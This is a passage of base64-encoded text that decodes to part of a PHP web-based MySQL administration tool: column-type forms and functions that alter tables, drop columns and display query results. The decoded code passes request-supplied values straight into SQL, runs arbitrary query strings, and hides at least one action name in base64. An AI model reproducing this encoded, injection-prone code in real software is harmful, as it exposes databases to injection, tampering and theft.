aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IlRJTllJTlQiICc7IGlmKCAkdHlwZSA9
PSAidGlueWludCIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+VElOWUlOVCAoLTEyOCB+IDEyNyk8
L3RkPgo8dGQgYWxpZ249Y2VudGVyPk88L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8dGQgYWxpZ249Y2Vu
dGVyPk88L3RkPgo8dGQgYWxpZ249Y2VudGVyPk88L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8L3RyPgo8
dHI+Cjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IlNNQUxMSU5UIiAnOyBp
ZiggJHR5cGUgPT0gInNtYWxsaW50IiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5TTUFMTElOVCAo
LTMyNzY4IH4gMzI3NjcpPC90ZD4KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4KPHRkPiZuYnNwPC90
ZD4KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4KPHRkPiZu
YnNwPC90ZD4KPC90cj4KPHRyPgo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVl
PSJNRURJVU1JTlQiICc7IGlmKCAkdHlwZSA9PSAibWVkaXVtaW50IiApIGVjaG8gImNoZWNrZWQi
O2VjaG8gJz5NRURJVU1JTlQgKC04Mzg4NjA4IH4gODM4ODYwNyk8L3RkPgoKPHRkIGFsaWduPWNl
bnRlcj5PPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4KPHRkIGFs
aWduPWNlbnRlcj5PPC90ZD4KPHRkPiZuYnNwPC90ZD4KPC90cj4KPHRyPgo8dGQ+PGlucHV0IHR5
cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJJTlQiICc7IGlmKCAkdHlwZSA9PSAiaW50IiApIGVj
aG8gImNoZWNrZWQiO2VjaG8gJz5JTlQgKC0yMTQ3NDgzNjQ4IH4gMjE0NzQ4MzY0Nyk8L3RkPgo8
dGQgYWxpZ249Y2VudGVyPk88L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8dGQgYWxpZ249Y2VudGVyPk88
L3RkPgo8dGQgYWxpZ249Y2VudGVyPk88L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8L3RyPgo8dHI+Cjx0
ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IkJJR0lOVCIgJzsgaWYoICR0eXBl
ID09ICJiaWdpbnQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPkJJR0lOVCAoLTkyMjMzNzIwMzY4
NTQ3NzU4MDggfiA5MjIzMzcyMDM2ODU0Nzc1ODA3KTwvdGQ+Cjx0ZCBhbGlnbj1jZW50ZXI+Tzwv
dGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+Cjx0ZCBhbGlnbj1jZW50
ZXI+TzwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+CjwvdHI+Cjx0cj4KPHRkPjxpbnB1dCB0eXBlPXJhZGlv
IG5hbWU9dHlwZSB2YWx1ZT0iRkxPQVQiICc7IGlmKCAkdHlwZSA9PSAiZmxvYXQiICkgZWNobyAi
Y2hlY2tlZCI7ZWNobyAnPkZMT0FUPC90ZD4KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4KPHRkIGFs
aWduPWNlbnRlcj5PPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4K
PHRkPiZuYnNwPC90ZD4KPC90cj4KPHRyPgo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBl
IHZhbHVlPSJET1VCTEUiICc7IGlmKCAkdHlwZSA9PSAiZG91YmxlIiApIGVjaG8gImNoZWNrZWQi
O2VjaG8gJz5ET1VCTEU8L3RkPgo8dGQgYWxpZ249Y2VudGVyPk88L3RkPgo8dGQgYWxpZ249Y2Vu
dGVyPk88L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8dGQgYWxpZ249Y2VudGVyPk88L3RkPgo8dGQ+Jm5i
c3A8L3RkPgo8L3RyPgo8dHI+Cjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9
IkRFQ0lNQUwiICc7IGlmKCAkdHlwZSA9PSAiZGVjaW1hbCIgKSBlY2hvICJjaGVja2VkIjtlY2hv
ICc+REVDSU1BTChOVU1FUklDKTwvdGQ+Cjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+Cjx0ZCBhbGln
bj1jZW50ZXI+TzwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+Cjx0
ZD4mbmJzcDwvdGQ+CjwvdHI+Cjx0cj4KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2
YWx1ZT0iREFURSIgJzsgaWYoICR0eXBlID09ICJkYXRlIiApIGVjaG8gImNoZWNrZWQiO2VjaG8g
Jz5EQVRFICgxMDAwLTAxLTAxIH4gOTk5OS0xMi0zMSwgWVlZWS1NTS1ERCk8L3RkPgo8dGQ+Jm5i
c3A8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8dGQ+
Jm5ic3A8L3RkPgo8L3RyPgo8dHI+Cjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFs
dWU9IkRBVEVUSU1FIiAnOyBpZiggJHR5cGUgPT0gImRhdGV0aW1lIiApIGVjaG8gImNoZWNrZWQi
O2VjaG8gJz5EQVRFVElNRSAoMTAwMC0wMS0wMSAwMDowMDowMCB+IDk5OTktMTItMzEgMjM6NTk6
NTksIFlZWVktTU0tREQgSEg6TU06U1MpPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90
ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90ZD4KPC90cj4KPHRy
Pgo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJUSU1FU1RBTVAiICc7IGlm
KCAkdHlwZSA9PSAidGltZXN0YW1wIiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5USU1FU1RBTVAg
KDE5NzAtMDEtMDEgMDA6MDA6MDAgfiAyMTA2Li4uLCBZWVlZTU1ERFtISFtNTVtTU11dXSk8L3Rk
Pgo8dGQgYWxpZ249Y2VudGVyPk88L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8
dGQ+Jm5ic3A8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8L3RyPgo8dHI+Cjx0ZD48aW5wdXQgdHlwZT1y
YWRpbyBuYW1lPXR5cGUgdmFsdWU9IlRJTUUiICc7IGlmKCAkdHlwZSA9PSAidGltZSIgKSBlY2hv
ICJjaGVja2VkIjtlY2hvICc+VElNRSAoLTgzODo1OTo1OSB+IDgzODo1OTo1OSwgSEg6TU06U1Mp
PC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZu
YnNwPC90ZD4KPHRkPiZuYnNwPC90ZD4KPC90cj4KPHRyPgo8dGQ+PGlucHV0IHR5cGU9cmFkaW8g
bmFtZT10eXBlIHZhbHVlPSJZRUFSIiAnOyBpZiggJHR5cGUgPT0gInllYXIiICkgZWNobyAiY2hl
Y2tlZCI7ZWNobyAnPllFQVIgKDE5MDEgfiAyMTU1LCAwMDAwLCBZWVlZKTwvdGQ+Cjx0ZD4mbmJz
cDwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0ZD4m
bmJzcDwvdGQ+CjwvdHI+Cjx0cj4KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1
ZT0iQ0hBUiIgJzsgaWYoICR0eXBlID09ICJjaGFyIiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5D
SEFSPC90ZD4KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNw
PC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4KPC90cj4KPHRyPgo8
dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJWQVJDSEFSIiAnOyBpZiggJHR5
cGUgPT0gInZhcmNoYXIiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPlZBUkNIQVI8L3RkPgo8dGQg
YWxpZ249Y2VudGVyPk88L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8dGQ+Jm5i
c3A8L3RkPgo8dGQgYWxpZ249Y2VudGVyPk88L3RkPgo8L3RyPgo8dHI+Cjx0ZD48aW5wdXQgdHlw
ZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IlRJTllURVhUIiAnOyBpZiggJHR5cGUgPT0gInRpbnl0
ZXh0IiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5USU5ZVEVYVCAoMCB+IDI1NSk8L3RkPgo8dGQ+
Jm5ic3A8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8
dGQ+Jm5ic3A8L3RkPgo8L3RyPgo8dHI+Cjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUg
dmFsdWU9IlRFWFQiICc7IGlmKCAkdHlwZSA9PSAidGV4dCIgKSBlY2hvICJjaGVja2VkIjtlY2hv
ICc+VEVYVCAoMCB+IDY1NTM1KTwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0
ZD4mbmJzcDwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+CjwvdHI+Cjx0cj4KPHRk
PjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iTUVESVVNVEVYVCIgJzsgaWYoICR0
eXBlID09ICJtZWRpdW10ZXh0IiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5NRURJVU1URVhUICgw
IH4gMTY3NzcyMTUpPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNw
PC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90ZD4KPC90cj4KPHRyPgo8dGQ+PGlucHV0
IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJMT05HVEVYVCIgJzsgaWYoICR0eXBlID09ICJs
b25ndGV4dCIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+TE9OR1RFWFQgKDAgfiA0Mjk0OTY3Mjk1
KTwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0ZD4m
bmJzcDwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+CjwvdHI+Cjx0cj4KPHRkPjxpbnB1dCB0eXBlPXJhZGlv
IG5hbWU9dHlwZSB2YWx1ZT0iVElOWUJMT0IiICc7IGlmKCAkdHlwZSA9PSAidGlueWJsb2IiICkg
ZWNobyAiY2hlY2tlZCI7ZWNobyAnPlRJTllCTE9CICgwIH4gMjU1KTwvdGQ+Cjx0ZD4mbmJzcDwv
dGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0ZD4mbmJz
cDwvdGQ+CjwvdHI+Cjx0cj4KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0i
QkxPQiIgJzsgaWYoICR0eXBlID09ICJibG9iIiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5CTE9C
ICgwIH4gNjU1MzUpPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNw
PC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90ZD4KPC90cj4KPHRyPgo8dGQ+PGlucHV0
IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJNRURJVU1CTE9CIiAnOyBpZiggJHR5cGUgPT0g
Im1lZGl1bWJsb2IiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPk1FRElVTUJMT0IgKDAgfiAxNjc3
NzIxNSk8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8
dGQ+Jm5ic3A8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8L3RyPgo8dHI+Cjx0ZD48aW5wdXQgdHlwZT1y
YWRpbyBuYW1lPXR5cGUgdmFsdWU9IkxPTkdCTE9CIiAnOyBpZiggJHR5cGUgPT0gImxvbmdibG9i
IiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5MT05HQkxPQiAoMCB+IDQyOTQ5NjcyOTUpPC90ZD4K
PHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90
ZD4KPHRkPiZuYnNwPC90ZD4KPC90cj4KPHRyPgo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10
eXBlIHZhbHVlPSJFTlVNIiAnOyBpZiggJHR5cGUgPT0gImVudW0iICkgZWNobyAiY2hlY2tlZCI7
ZWNobyAnPkVOVU08L3RkPgo8dGQgY29sc3Bhbj01PjxjZW50ZXI+dmFsdWUgbGlzdDwvY2VudGVy
PjwvdGQ+CjwvdHI+Cjx0cj4KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0i
U0VUIiAnOyBpZiggJHR5cGUgPT0gInNldCIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+U0VUPC90
ZD4KPHRkIGNvbHNwYW49NT48Y2VudGVyPnZhbHVlIGxpc3Q8L2NlbnRlcj48L3RkPgo8L3RyPgoK
PC90YWJsZT4KPHRhYmxlPgo8dHI+PHRoPk08L3RoPjx0aD5EPC90aD48dGg+dW5zaWduZWQ8L3Ro
Pjx0aD56ZXJvZmlsbDwvdGg+PHRoPmJpbmFyeTwvdGg+PHRoPnZhbHVlIGxpc3QgKGV4OiBcJ2Fw
cGxlXCcsIFwnb3JhbmdlXCcsIFwnYmFuYW5hXCcpIDwvdGg+PC90cj4KPHRyPgo8dGQgYWxpZ249
Y2VudGVyPjxpbnB1dCB0eXBlPXRleHQgc2l6ZT00IG5hbWU9TSAnOyBpZiggJE0gIT0gIiIgKSBl
Y2hvICJ2YWx1ZT0kTSI7ZWNobyAnPjwvdGQ+Cjx0ZCBhbGlnbj1jZW50ZXI+PGlucHV0IHR5cGU9
dGV4dCBzaXplPTQgbmFtZT1EICc7IGlmKCAkRCAhPSAiIiApIGVjaG8gInZhbHVlPSREIjtlY2hv
ICc+PC90ZD4KPHRkIGFsaWduPWNlbnRlcj48aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPXVuc2ln
bmVkIHZhbHVlPSJVTlNJR05FRCIgJzsgaWYoIHN0cnBvcyggJGZpZWxkdHlwZSwgInVuc2lnbmVk
IiApICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPjwvdGQ+Cjx0ZCBhbGlnbj1jZW50ZXI+PGlucHV0
IHR5cGU9Y2hlY2tib3ggbmFtZT16ZXJvZmlsbCB2YWx1ZT0iWkVST0ZJTEwiICc7IGlmKCBzdHJw
b3MoICRmaWVsZHR5cGUsICJ6ZXJvZmlsbCIgKSApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz48L3Rk
Pgo8dGQgYWxpZ249Y2VudGVyPjxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9YmluYXJ5IHZhbHVl
PSJCSU5BUlkiICc7IGlmKCBzdHJwb3MoICRmaWVsZHR5cGUsICJiaW5hcnkiICkgICkgZWNobyAi
Y2hlY2tlZCI7ZWNobyAnPjwvdGQ+Cjx0ZCBhbGlnbj1jZW50ZXI+PGlucHV0IHR5cGU9dGV4dCBz
aXplPTYwIG5hbWU9dmFsdWVsaXN0ICc7IGlmKCAkdmFsdWVsaXN0ICE9ICIiICkgZWNobyAidmFs
dWU9XCIkdmFsdWVsaXN0XCIiO2VjaG8gJz48L3RkPgo8L3RyPgo8L3RhYmxlPgoKCjxoMz5GbGFn
czwvaDM+Cjx0YWJsZT4KPHRyPjx0aD5ub3QgbnVsbDwvdGg+PHRoPmRlZmF1bHQgdmFsdWU8L3Ro
Pjx0aD5hdXRvIGluY3JlbWVudDwvdGg+PHRoPnByaW1hcnkga2V5PC90aD48L3RyPgo8dHI+Cjx0
ZCBhbGlnbj1jZW50ZXI+PGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1ub3RfbnVsbCB2YWx1ZT0i
Tk9UIE5VTEwiICc7IGlmKCAkZmllbGRudWxsICE9ICJZRVMiICkgZWNobyAiY2hlY2tlZCI7ZWNo
byAnPjwvdGQ+Cjx0ZCBhbGlnbj1jZW50ZXI+PGlucHV0IHR5cGU9dGV4dCBuYW1lPWRlZmF1bHRf
dmFsdWUgJzsgaWYoICRmaWVsZGRlZmF1bHQgIT0gIiIgKSBlY2hvICJ2YWx1ZT0kZmllbGRkZWZh
dWx0IjtlY2hvICc+PC90ZD4KPHRkIGFsaWduPWNlbnRlcj48aW5wdXQgdHlwZT1jaGVja2JveCBu
YW1lPWF1dG9faW5jcmVtZW50IHZhbHVlPSJBVVRPX0lOQ1JFTUVOVCIgJzsgaWYoICRmaWVsZGV4
dHJhID09ICJhdXRvX2luY3JlbWVudCIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+PC90ZD4KPHRk
IGFsaWduPWNlbnRlcj48aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPXByaW1hcnlfa2V5IHZhbHVl
PSJQUklNQVJZIEtFWSIgJzsgaWYoICRmaWVsZGtleSA9PSAiUFJJIiApIGVjaG8gImNoZWNrZWQi
O2VjaG8gJz48L3RkPgo8L3RyPgo8L3RhYmxlPgoKPHA+JzsKCglpZiggJGNtZCA9PSAiYWRkIiAp
CgkJZWNobyAiPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdBZGQgRmllbGQnPlxuIjsKCWVsc2Ug
aWYoICRjbWQgPT0gImVkaXQiICkKCQllY2hvICI8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J0Vk
aXQgRmllbGQnPlxuIjsKCWVjaG8gIjxpbnB1dCB0eXBlPWJ1dHRvbiB2YWx1ZT1DYW5jZWwgb25D
bGljaz0naGlzdG9yeS5iYWNrKCknPlxuIjsKCWVjaG8gIjwvZm9ybT5cbiI7Cn0KCmZ1bmN0aW9u
IG1hbmFnZUZpZWxkX3N1Ym1pdCggJGNtZCApIHsKCWdsb2JhbCAkbXlzcWxIYW5kbGUsICRkYm5h
bWUsICR0YWJsZW5hbWUsICRvbGRfbmFtZSwgJG5hbWUsICR0eXBlLCAkUEhQX1NFTEYsICRxdWVy
eVN0ciwgJGVyck1zZywKCQkkTSwgJEQsICR1bnNpZ25lZCwgJHplcm9maWxsLCAkYmluYXJ5LCAk
bm90X251bGwsICRkZWZhdWx0X3ZhbHVlLCAkYXV0b19pbmNyZW1lbnQsICRwcmltYXJ5X2tleSwg
JHZhbHVlbGlzdDsKCglpZiggJGNtZCA9PSAiYWRkIiApCgkJJHF1ZXJ5U3RyID0gIkFMVEVSIFRB
QkxFICR0YWJsZW5hbWUgQUREICRuYW1lICI7CgllbHNlIGlmKCAkY21kID09ICJlZGl0IiApCgkJ
JHF1ZXJ5U3RyID0gIkFMVEVSIFRBQkxFICR0YWJsZW5hbWUgQ0hBTkdFICRvbGRfbmFtZSAkbmFt
ZSAiOwoKCWlmKCAkTSAhPSAiIiApCgkJaWYoICREICE9ICIiICkKCQkJJHF1ZXJ5U3RyIC49ICIk
dHlwZSgkTSwkRCkgIjsKCQllbHNlCgkJCSRxdWVyeVN0ciAuPSAiJHR5cGUoJE0pICI7CgllbHNl
IGlmKCAkdmFsdWVsaXN0ICE9ICIiICkgewoJCSR2YWx1ZWxpc3QgPSBzdHJpcHNsYXNoZXMoICR2
YWx1ZWxpc3QgKTsKCQkkcXVlcnlTdHIgLj0gIiR0eXBlKCR2YWx1ZWxpc3QpICI7Cgl9IGVsc2UK
CQkkcXVlcnlTdHIgLj0gIiR0eXBlICI7CgoJJHF1ZXJ5U3RyIC49ICIkdW5zaWduZWQgJHplcm9m
aWxsICRiaW5hcnkgIjsKCglpZiggJGRlZmF1bHRfdmFsdWUgIT0gIiIgKQoJCSRxdWVyeVN0ciAu
PSAiREVGQVVMVCAnJGRlZmF1bHRfdmFsdWUnICI7CgoJJHF1ZXJ5U3RyIC49ICIkbm90X251bGwg
JGF1dG9faW5jcmVtZW50IjsKCglteXNxbF9zZWxlY3RfZGIoICRkYm5hbWUsICRteXNxbEhhbmRs
ZSApOwoJbXlzcWxfcXVlcnkoICRxdWVyeVN0ciwgJG15c3FsSGFuZGxlICk7CgkkZXJyTXNnID0g
bXlzcWxfZXJyb3IoKTsKCgkvLyBrZXkgY2hhbmdlCgkka2V5Q2hhbmdlID0gZmFsc2U7CgkkcmVz
dWx0ID0gbXlzcWxfcXVlcnkoICJTSE9XIEtFWVMgRlJPTSAkdGFibGVuYW1lIiApOwoJJHByaW1h
cnkgPSAiIjsKCXdoaWxlKCAkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCkgKQoJCWlm
KCAkcm93WyJLZXlfbmFtZSJdID09ICJQUklNQVJZIiApIHsKCQkJaWYoICRyb3dbQ29sdW1uX25h
bWVdID09ICRuYW1lICkKCQkJCSRrZXlDaGFuZ2UgPSB0cnVlOwoJCQllbHNlCgkJCQkkcHJpbWFy
eSAuPSAiLCAkcm93W0NvbHVtbl9uYW1lXSI7CgkJfQoJaWYoICRwcmltYXJ5X2tleSA9PSAiUFJJ
TUFSWSBLRVkiICkgewoJCSRwcmltYXJ5IC49ICIsICRuYW1lIjsKCQkka2V5Q2hhbmdlID0gISRr
ZXlDaGFuZ2U7Cgl9CgkkcHJpbWFyeSA9IHN1YnN0ciggJHByaW1hcnksIDIgKTsKCWlmKCAka2V5
Q2hhbmdlID09IHRydWUgKSB7CgkJJHEgPSAiQUxURVIgVEFCTEUgJHRhYmxlbmFtZSBEUk9QIFBS
SU1BUlkgS0VZIjsKCQlteXNxbF9xdWVyeSggJHEgKTsKCQkkcXVlcnlTdHIgLj0gIjxicj5cbiIg
LiAkcTsKCQkkZXJyTXNnIC49ICI8YnI+XG4iIC4gbXlzcWxfZXJyb3IoKTsKCQkkcSA9ICJBTFRF
UiBUQUJMRSAkdGFibGVuYW1lIEFERCBQUklNQVJZIEtFWSggJHByaW1hcnkgKSI7CgkJbXlzcWxf
cXVlcnkoICRxICk7CgkJJHF1ZXJ5U3RyIC49ICI8YnI+XG4iIC4gJHE7CgkJJGVyck1zZyAuPSAi
PGJyPlxuIiAuIG15c3FsX2Vycm9yKCk7Cgl9CgoJdmlld1NjaGVtYSgpOwp9CgpmdW5jdGlvbiBk
cm9wRmllbGQoKSB7CglnbG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkdGFibGVuYW1lLCAk
ZmllbGRuYW1lLCAkUEhQX1NFTEYsICRxdWVyeVN0ciwgJGVyck1zZzsKCgkkcXVlcnlTdHIgPSAi
QUxURVIgVEFCTEUgJHRhYmxlbmFtZSBEUk9QIENPTFVNTiAkZmllbGRuYW1lIjsKCW15c3FsX3Nl
bGVjdF9kYiggJGRibmFtZSwgJG15c3FsSGFuZGxlICk7CglteXNxbF9xdWVyeSggJHF1ZXJ5U3Ry
ICwgJG15c3FsSGFuZGxlICk7CgkkZXJyTXNnID0gbXlzcWxfZXJyb3IoKTsKCgl2aWV3U2NoZW1h
KCk7Cn0KCmZ1bmN0aW9uIHZpZXdEYXRhKCAkcXVlcnlTdHIgKSB7CglnbG9iYWwgJGFjdGlvbiwg
JG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkdGFibGVuYW1lLCAkUEhQX1NFTEYsICRlcnJNc2csICRw
YWdlLCAkcm93cGVycGFnZSwgJG9yZGVyYnk7CgoJZWNobyAiPGgxPkRhdGEgaW4gVGFibGU8L2gx
PlxuIjsKCWlmKCAkdGFibGVuYW1lICE9ICIiICkKCQllY2hvICI8cCBjbGFzcz1sb2NhdGlvbj4k
ZGJuYW1lICZndDsgJHRhYmxlbmFtZTwvcD5cbiI7CgllbHNlCgkJZWNobyAiPHAgY2xhc3M9bG9j
YXRpb24+JGRibmFtZTwvcD5cbiI7CgoJJHF1ZXJ5U3RyID0gc3RyaXBzbGFzaGVzKCAkcXVlcnlT
dHIgKTsKCWlmKCAkcXVlcnlTdHIgPT0gIiIgKSB7CgkJJHF1ZXJ5U3RyID0gIlNFTEVDVCAqIEZS
T00gJHRhYmxlbmFtZSI7CgkJaWYoICRvcmRlcmJ5ICE9ICIiICkKCQkJJHF1ZXJ5U3RyIC49ICIg
T1JERVIgQlkgJG9yZGVyYnkiOwoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249YWRk
RGF0YSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSc+QWRkIERhdGE8L2E+IHwg
XG4iOwoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dmlld1NjaGVtYSZkYm5hbWU9
JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSc+U2NoZW1hPC9hPlxuIjsKCX0KCgkkcFJlc3Vs
dCA9IG15c3FsX2RiX3F1ZXJ5KCAkZGJuYW1lLCAkcXVlcnlTdHIgKTsKCSRmaWVsZHQgPSBteXNx
bF9mZXRjaF9maWVsZCgkcFJlc3VsdCk7CgkkdGFibGVuYW1lID0gJGZpZWxkdC0+dGFibGU7Cgkk
ZXJyTXNnID0gbXlzcWxfZXJyb3IoKTsKCgkkR0xPQkFMU1txdWVyeVN0cl0gPSAkcXVlcnlTdHI7
CgoJaWYoICRwUmVzdWx0ID09IGZhbHNlICkgewoJCWVjaG9RdWVyeVJlc3VsdCgpOwoJCXJldHVy
bjsKCX0KCWlmKCAkcFJlc3VsdCA9PSAxICkgewoJCSRlcnJNc2cgPSAiU3VjY2VzcyI7CgkJZWNo
b1F1ZXJ5UmVzdWx0KCk7CgkJcmV0dXJuOwoJfQoKCWVjaG8gIjxocj5cbiI7CgoJJHJvdyA9IG15
c3FsX251bV9yb3dzKCAkcFJlc3VsdCApOwoJJGNvbCA9IG15c3FsX251bV9maWVsZHMoICRwUmVz
dWx0ICk7CgoJaWYoICRyb3cgPT0gMCApIHsKCQllY2hvICJObyBEYXRhIEV4aXN0ISI7CgkJcmV0
dXJuOwoJfQoKCWlmKCAkcm93cGVycGFnZSA9PSAiIiApICRyb3dwZXJwYWdlID0gMzA7CglpZigg
JHBhZ2UgPT0gIiIgKSAkcGFnZSA9IDA7CgllbHNlICRwYWdlLS07CglteXNxbF9kYXRhX3NlZWso
ICRwUmVzdWx0LCAkcGFnZSAqICRyb3dwZXJwYWdlICk7CgoJZWNobyAiPHRhYmxlIGNlbGxzcGFj
aW5nPTEgY2VsbHBhZGRpbmc9Mj5cbiI7CgllY2hvICI8dHI+XG4iOwoJZm9yKCAkaSA9IDA7ICRp
IDwgJGNvbDsgJGkrKyApIHsKCQkkZmllbGQgPSBteXNxbF9mZXRjaF9maWVsZCggJHBSZXN1bHQs
ICRpICk7CgkJZWNobyAiPHRoPiI7CgkJaWYoJGFjdGlvbiA9PSAiZG1sbGQwUmhkR0U9IikKCQkJ
ZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1kbWxsZDBSaGRHRT0mZGJuYW1lPSRkYm5h
bWUmdGFibGVuYW1lPSR0YWJsZW5hbWUmb3JkZXJieT0iLiRmaWVsZC0+bmFtZS4iJz4iLiRmaWVs
ZC0+bmFtZS4iPC9hPlxuIjsKCQllbHNlCgkJCWVjaG8gJGZpZWxkLT5uYW1lLiJcbiI7CgkJZWNo
byAiPC90aD5cbiI7Cgl9CgllY2hvICI8dGggY29sc3Bhbj0yPkFjdGlvbjwvdGg+XG4iOwoJZWNo
byAiPC90cj5cbiI7CgoJZm9yKCAkaSA9IDA7ICRpIDwgJHJvd3BlcnBhZ2U7ICRpKysgKSB7CgkJ
JHJvd0FycmF5ID0gbXlzcWxfZmV0Y2hfcm93KCAkcFJlc3VsdCApOwoJCWlmKCAkcm93QXJyYXkg
PT0gZmFsc2UgKSBicmVhazsKCQllY2hvICI8dHI+XG4iOwoJCSRrZXkgPSAiIjsKCQlmb3IoICRq
ID0gMDsgJGogPCAkY29sOyAkaisrICkgewoJCQkkZGF0YSA9ICRyb3dBcnJheVskal07CgoJCQkk
